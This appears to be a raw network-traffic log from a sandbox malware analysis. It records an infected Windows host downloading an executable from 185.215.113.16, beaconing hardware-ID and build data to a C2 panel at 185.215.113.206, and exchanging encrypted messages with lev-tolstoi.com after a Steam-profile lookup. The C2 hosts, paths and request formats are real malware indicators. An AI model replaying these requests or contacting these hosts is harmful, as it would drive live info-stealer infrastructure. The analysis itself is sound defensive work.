Dec 23, 2024 07:28:45.445583105 CET	1236	IN	Data Raw: 18 3c 35 e2 18 05 b6 7b 97 a7 b7 44 18 ec ba 4f 1b f6 b5 7b 97 52 b5 48 18 3c 35 00 19 09 b6 7b 97 8c b6 48 18 3c 35 98 1a 09 b6 7b 97 0f b8 48 18 3c 35 ec 1a 09 b6 7b 97 47 b7 48 18 3c 35 a7 18 09 b6 7b 97 41 b6 48 18 3c 35 51 19 09 b6 7b 97 94 Data Ascii: <5{DO{RH<5{H<5{H<5{GH<5{AH<5Q{HO{OL<5k{uL<5{>L<5{6L<5{L<52{L<5{L<5&2B&52&2"&26%/+}7%l
Dec 23, 2024 07:28:45.564657927 CET	1236	IN	Data Raw: 17 68 b6 53 17 f9 b4 b0 18 14 b5 40 17 90 b6 53 17 09 b5 d8 18 14 b5 50 17 a5 b6 53 17 19 b5 e4 18 14 b5 60 17 a5 b6 53 17 29 b5 d8 18 14 b5 70 17 ab b6 53 17 39 b5 e4 18 14 b5 80 17 a5 b6 53 17 49 b5 02 19 14 b5 90 17 ed b6 53 17 59 b5 39 19 29 Data Ascii: hS@SPS`S)pS9SISY9)hIIDqHq)(DLTE\;{%& +<% %*4'H%%%J)
Dec 23, 2024 07:28:50.460850954 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:28:50.902815104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:28:49 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49779	185.215.113.206	80	484	C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:28:58.608443975 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 07:28:59.937350035 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 07:28:59.942413092 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 30 34 46 44 41 38 36 38 45 37 33 30 39 39 33 30 35 32 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="hwid"AB04FDA868E73099305215------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="build"stok------JEBKKEGDBFIIEBFHIEHC--
Dec 23, 2024 07:29:00.382390022 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:29:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	23.55.153.106	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:22 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 06:28:23 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 06:28:23 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=6b6aee782ee003749cc6841d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 06:28:23 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 06:28:23 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 06:28:23 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:24 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 06:28:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 06:28:25 UTC	1119	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54iadekdssdo81ad9pfnda8i4o; expires=Fri, 18 Apr 2025 00:15:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ow5wPY3NOysSntiwSIKtx7PNoGcUCFbMVa8QVEMReWyEfpxcH4EwJDGXhU45YGTUwpFVuUt12AMRnKVVcItwzIzuagG9m25TyZBt7Kc0FbaYxA%2F4VTGeEYqNu2J02Ds9fhg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664a991eaa0f7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1497&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1933774&cwnd=243&unsent_bytes=0&cid=80943f10b6d188ca&ts=748&x=0"
2024-12-23 06:28:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 06:28:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	104.21.66.86	443	6440	C:\Users\user\Desktop\s31ydU1MpQ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:28:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-23 06:28:27 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 06:28:27 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=78gu3d0aqbuknv037tokcp4elm; expires=Fri, 18 Apr 2025 00:15:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIWA2Zsrff5jDXwrVukFJ437Gz8Ou%2FrdmizEKlQN0zm7tuwhh%2BuE4r99Kns5uZDpM8GK4yk8sFdrRqlaD8o86x9uC6zdcfPePz8CiADkaEOvcuU00zsYeUyHb%2F3W1yCd7qU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f664aa6a8ac8cab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1856&min_rtt=1796&rtt_var=793&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1282952&cwnd=240&unsent_bytes=0&cid=bb18ec2ad986b60e&ts=778&x=0"
2024-12-23 06:28:27 UTC	246	IN	Data Raw: 31 63 63 36 0d 0a 69 2f 72 49 74 55 48 4e 44 72 34 6f 56 65 35 4e 45 67 31 53 4c 45 64 58 4a 72 4b 52 77 69 4e 44 77 6c 35 59 45 49 67 75 77 31 72 77 32 4c 36 58 65 2f 6b 69 6e 46 73 77 7a 48 64 6d 66 79 64 4a 61 33 56 48 31 72 50 34 52 53 4b 75 4c 54 30 38 71 6c 69 75 65 4c 47 63 71 64 6b 79 71 43 4b 63 54 53 33 4d 64 30 6c 32 63 45 6b 70 64 52 79 51 39 4b 68 42 49 71 34 38 4f 58 76 6e 58 71 38 35 34 35 61 76 33 53 53 75 61 74 39 45 4f 49 73 6f 64 32 77 34 51 69 34 36 54 74 2b 7a 37 67 45 6d 75 48 78 69 4d 73 56 4c 74 7a 76 47 6d 37 76 65 59 37 41 69 78 51 6f 77 67 47 38 6f 4c 7a 4e 4a 4a 54 74 41 31 76 71 71 53 79 75 6d 50 54 78 36 2b 45 65 6c 4d 75 4f 59 72 4e 77 75 70 33 37 53 54 6a 2b 41 4c 6e 31 73 63 41 42 6c 4d 6c 79 51 Data Ascii: 1cc6i/rItUHNDr4oVe5NEg1SLEdXJrKRwiNDwl5YEIguw1rw2L6Xe/kinFswzHdmfydJa3VH1rP4RSKuLT08qliueLGcqdkyqCKcTS3Md0l2cEkpdRyQ9KhBIq48OXvnXq8545av3SSuat9EOIsod2w4Qi46Tt+z7gEmuHxiMsVLtzvGm7veY7AixQowgG8oLzNJJTtA1vqqSyumPTx6+EelMuOYrNwup37STj+ALn1scABlMlyQ
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 71 2b 41 53 45 36 4d 74 4b 32 66 6e 58 4b 64 34 39 74 61 7a 6c 79 53 6a 4c 49 51 4b 50 34 41 68 64 57 77 2f 53 53 51 31 56 74 2f 7a 6f 30 6b 70 70 44 59 31 66 65 56 43 71 7a 2f 68 6b 61 33 59 4a 4b 64 71 30 30 6c 33 77 6d 39 33 64 33 41 57 5a 52 56 55 30 2f 43 30 54 44 44 67 49 33 52 72 71 6b 75 74 65 4c 48 59 72 4e 6b 69 6f 6d 7a 4f 51 6a 79 48 4b 6d 4a 6b 4f 55 4d 6f 4e 55 6e 61 2f 4b 4e 42 4a 71 6f 32 4e 58 6a 75 51 61 77 2b 36 5a 6a 71 6d 57 4f 6f 64 4a 77 53 64 36 38 71 59 47 67 38 57 47 63 50 42 4d 2b 39 75 51 45 6d 72 48 78 69 4d 75 4a 4a 6f 6a 76 69 6c 36 6e 66 4b 4c 31 73 7a 6b 77 36 69 54 31 32 61 6a 35 45 4a 69 64 4f 33 76 57 6a 53 43 71 70 4f 54 31 32 71 67 4c 68 50 2f 48 59 38 70 63 43 6f 6d 66 51 51 43 43 4d 62 32 38 68 4b 51 34 69 4f 51 53 Data Ascii: q+ASE6MtK2fnXKd49tazlySjLIQKP4AhdWw/SSQ1Vt/zo0kppDY1feVCqz/hka3YJKdq00l3wm93d3AWZRVU0/C0TDDgI3RrqkuteLHYrNkiomzOQjyHKmJkOUMoNUna/KNBJqo2NXjuQaw+6ZjqmWOodJwSd68qYGg8WGcPBM+9uQEmrHxiMuJJojvil6nfKL1szkw6iT12aj5EJidO3vWjSCqpOT12qgLhP/HY8pcComfQQCCMb28hKQ4iOQS
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 43 33 67 63 6e 70 31 38 67 7a 35 65 4d 4f 62 76 74 51 70 37 56 6e 66 52 44 6d 4c 4f 54 42 77 66 6c 64 6c 4d 6b 69 51 71 2b 42 4d 49 4b 67 36 4b 48 33 6e 54 36 38 32 35 70 32 6c 33 79 4f 76 59 64 6c 4f 50 49 63 73 66 57 73 69 52 43 55 39 51 64 48 35 71 67 46 76 34 44 73 69 4d 72 49 4d 6b 43 2f 69 32 70 2f 55 4c 61 46 72 79 67 6f 6f 77 6a 59 77 61 44 77 4f 66 58 56 4a 32 50 61 6c 54 69 43 71 4d 6a 39 34 35 6b 53 76 4f 2f 75 58 72 74 63 76 70 32 62 52 52 44 4f 45 4a 6e 74 6b 4e 6b 34 6b 50 77 53 65 73 36 64 5a 59 66 68 38 44 6e 58 6d 51 61 35 36 33 4a 75 6b 32 53 53 35 4c 4d 4d 45 4c 73 77 6f 66 43 39 6f 44 69 6b 38 52 4e 76 35 70 45 45 6d 72 54 6b 35 64 65 6c 42 70 6a 4c 6e 6e 36 37 62 4b 71 4a 71 33 45 30 7a 69 54 31 31 5a 6a 78 43 5a 58 73 45 31 2b 76 67 Data Ascii: C3gcnp18gz5eMObvtQp7VnfRDmLOTBwfldlMkiQq+BMIKg6KH3nT6825p2l3yOvYdlOPIcsfWsiRCU9QdH5qgFv4DsiMrIMkC/i2p/ULaFrygoowjYwaDwOfXVJ2PalTiCqMj945kSvO/uXrtcvp2bRRDOEJntkNk4kPwSes6dZYfh8DnXmQa563Juk2SS5LMMELswofC9oDik8RNv5pEEmrTk5delBpjLnn67bKqJq3E0ziT11ZjxCZXsE1+vg
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 73 32 4d 72 49 4d 71 44 48 37 6c 71 54 65 4c 71 6c 6b 32 30 51 36 68 79 6c 37 61 44 64 49 4b 44 31 4a 31 66 43 68 52 53 75 79 50 7a 46 34 35 30 62 68 64 71 6d 66 73 70 64 37 37 30 76 51 59 79 65 58 50 57 59 76 4c 77 41 38 64 55 50 63 73 2f 67 42 49 71 38 31 4e 58 72 69 51 36 34 38 35 35 36 73 32 69 61 67 5a 73 35 43 4f 59 45 6b 66 32 51 69 54 69 67 78 53 4e 54 37 71 30 74 68 37 6e 77 39 61 71 6f 55 34 51 33 6b 6c 36 72 55 4e 65 39 7a 6b 6c 4e 33 69 79 4d 77 4e 33 42 43 4b 7a 56 4c 33 50 2b 72 53 53 43 73 4d 6a 31 33 34 30 53 70 4b 75 69 63 6f 74 59 74 6f 47 33 59 54 7a 4b 49 4b 48 52 70 50 77 35 72 64 55 50 49 73 2f 67 42 44 6f 63 4a 65 46 50 51 44 4c 35 32 38 4e 69 74 32 32 50 33 4c 4e 42 4a 4f 34 51 67 64 6d 59 38 52 43 77 2b 53 4e 76 33 72 45 67 6b 70 Data Ascii: s2MrIMqDH7lqTeLqlk20Q6hyl7aDdIKD1J1fChRSuyPzF450bhdqmfspd770vQYyeXPWYvLwA8dUPcs/gBIq81NXriQ648556s2iagZs5COYEkf2QiTigxSNT7q0th7nw9aqoU4Q3kl6rUNe9zklN3iyMwN3BCKzVL3P+rSSCsMj1340SpKuicotYtoG3YTzKIKHRpPw5rdUPIs/gBDocJeFPQDL528Nit22P3LNBJO4QgdmY8RCw+SNv3rEgkp
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 73 58 71 59 78 2b 35 61 6e 32 43 75 6e 5a 64 31 4f 4d 6f 45 70 66 47 55 78 53 53 73 37 54 4a 43 39 34 45 59 35 34 47 52 36 55 2f 70 58 73 79 37 6b 75 61 66 59 59 37 41 69 78 51 6f 77 67 47 38 6f 4c 7a 6c 63 49 54 68 57 32 66 53 75 54 69 4b 79 50 54 64 35 2b 45 75 75 50 4f 36 55 72 4e 67 6c 72 6d 6e 57 52 6a 43 4a 4a 48 39 6a 63 41 42 6c 4d 6c 79 51 71 2b 42 76 4b 72 4d 72 4f 58 7a 68 57 72 70 34 39 74 61 7a 6c 79 53 6a 4c 49 51 4b 4e 49 63 6b 64 47 38 38 54 69 45 34 52 4d 4c 38 70 30 59 6f 71 79 34 77 64 65 31 48 71 54 50 6d 6e 72 6a 62 4c 62 31 70 7a 6c 68 33 77 6d 39 33 64 33 41 57 5a 51 4e 44 77 4f 4f 6a 41 78 43 32 50 79 78 35 35 30 44 68 4a 36 65 42 36 74 41 76 37 7a 53 63 54 44 69 46 4c 48 39 75 4f 55 49 6f 4d 45 33 56 38 71 5a 46 4b 36 6f 38 50 48 Data Ascii: sXqYx+5an2CunZd1OMoEpfGUxSSs7TJC94EY54GR6U/pXsy7kuafYY7AixQowgG8oLzlcIThW2fSuTiKyPTd5+EuuPO6UrNglrmnWRjCJJH9jcABlMlyQq+BvKrMrOXzhWrp49tazlySjLIQKNIckdG88TiE4RML8p0Yoqy4wde1HqTPmnrjbLb1pzlh3wm93d3AWZQNDwOOjAxC2Pyx550DhJ6eB6tAv7zScTDiFLH9uOUIoME3V8qZFK6o8PH
2024-12-23 06:28:27 UTC	1369	IN	Data Raw: 49 61 6d 66 70 70 64 37 37 32 2f 62 53 54 61 47 4a 6e 78 67 4e 30 6f 33 50 30 50 43 38 71 46 4b 4c 4b 77 38 4e 33 2f 67 54 61 67 31 35 5a 57 74 30 43 79 71 4c 4a 49 4b 4d 4a 52 76 4b 43 38 52 51 79 34 35 48 34 71 7a 76 77 38 34 34 44 73 32 4d 72 49 4d 6f 54 4c 73 6b 71 66 55 4c 4b 78 2b 33 55 77 6c 6a 43 4a 36 66 54 70 46 49 44 68 4a 33 66 43 6d 52 79 71 73 4c 6a 4e 79 36 55 66 68 64 71 6d 66 73 70 64 37 37 30 2f 4c 58 44 32 4c 49 32 5a 6b 4d 55 30 7a 4f 46 53 51 76 65 42 51 4a 72 46 38 59 6d 54 36 57 36 59 6e 70 34 48 71 30 43 2f 76 4e 4a 78 4d 50 6f 6f 6f 64 6d 45 69 53 79 4d 36 53 39 6e 36 70 45 6b 69 6f 44 67 2b 64 65 39 50 72 54 50 75 6d 36 58 54 4b 71 46 6c 30 77 70 35 7a 43 68 6f 4c 32 67 4f 42 43 35 48 33 50 37 67 58 6d 2b 35 66 44 31 2b 71 68 54 Data Ascii: Iamfppd772/bSTaGJnxgN0o3P0PC8qFKLKw8N3/gTag15ZWt0CyqLJIKMJRvKC8RQy45H4qzvw844Ds2MrIMoTLskqfULKx+3UwljCJ6fTpFIDhJ3fCmRyqsLjNy6Ufhdqmfspd770/LXD2LI2ZkMU0zOFSQveBQJrF8YmT6W6Ynp4Hq0C/vNJxMPooodmEiSyM6S9n6pEkioDg+de9PrTPum6XTKqFl0wp5zChoL2gOBC5H3P7gXm+5fD1+qhT
2024-12-23 06:28:27 UTC	283	IN	Data Raw: 49 72 63 4e 61 70 72 79 67 67 43 6a 79 46 2b 61 43 59 4f 4f 67 6f 4b 6b 50 79 36 41 58 6d 5a 4a 58 70 31 35 67 7a 35 65 50 79 66 71 74 41 35 75 57 76 51 57 7a 79 42 49 31 4a 67 4e 31 67 6d 4f 6b 66 42 2b 75 78 4b 4c 4f 42 79 65 6e 58 79 44 50 6c 34 78 70 2b 38 31 41 79 73 66 64 55 4b 65 63 77 6f 5a 69 39 6f 44 68 74 31 56 74 50 6a 6f 30 34 77 6e 6e 78 69 61 39 51 4d 71 69 37 75 69 4b 6e 42 4b 4b 4a 67 7a 58 52 33 31 48 73 69 50 57 49 63 64 79 6f 45 7a 38 7a 75 41 53 44 67 5a 41 4e 72 71 6c 72 68 59 4c 76 57 36 73 56 6a 39 79 79 62 53 53 57 65 4b 58 4e 35 4d 77 6b 62 43 32 50 47 2b 61 64 52 4a 72 63 7a 65 6a 79 71 51 2b 46 67 30 4e 69 6a 30 44 69 2b 65 74 46 61 4d 4d 77 51 50 69 38 6f 44 6e 31 31 63 64 50 39 72 6b 59 33 73 58 45 64 5a 4f 42 4c 73 54 2f 2b Data Ascii: IrcNapryggCjyF+aCYOOgoKkPy6AXmZJXp15gz5ePyfqtA5uWvQWzyBI1JgN1gmOkfB+uxKLOByenXyDPl4xp+81AysfdUKecwoZi9oDht1VtPjo04wnnxia9QMqi7uiKnBKKJgzXR31HsiPWIcdyoEz8zuASDgZANrqlrhYLvW6sVj9yybSSWeKXN5MwkbC2PG+adRJrczejyqQ+Fg0Nij0Di+etFaMMwQPi8oDn11cdP9rkY3sXEdZOBLsT/+
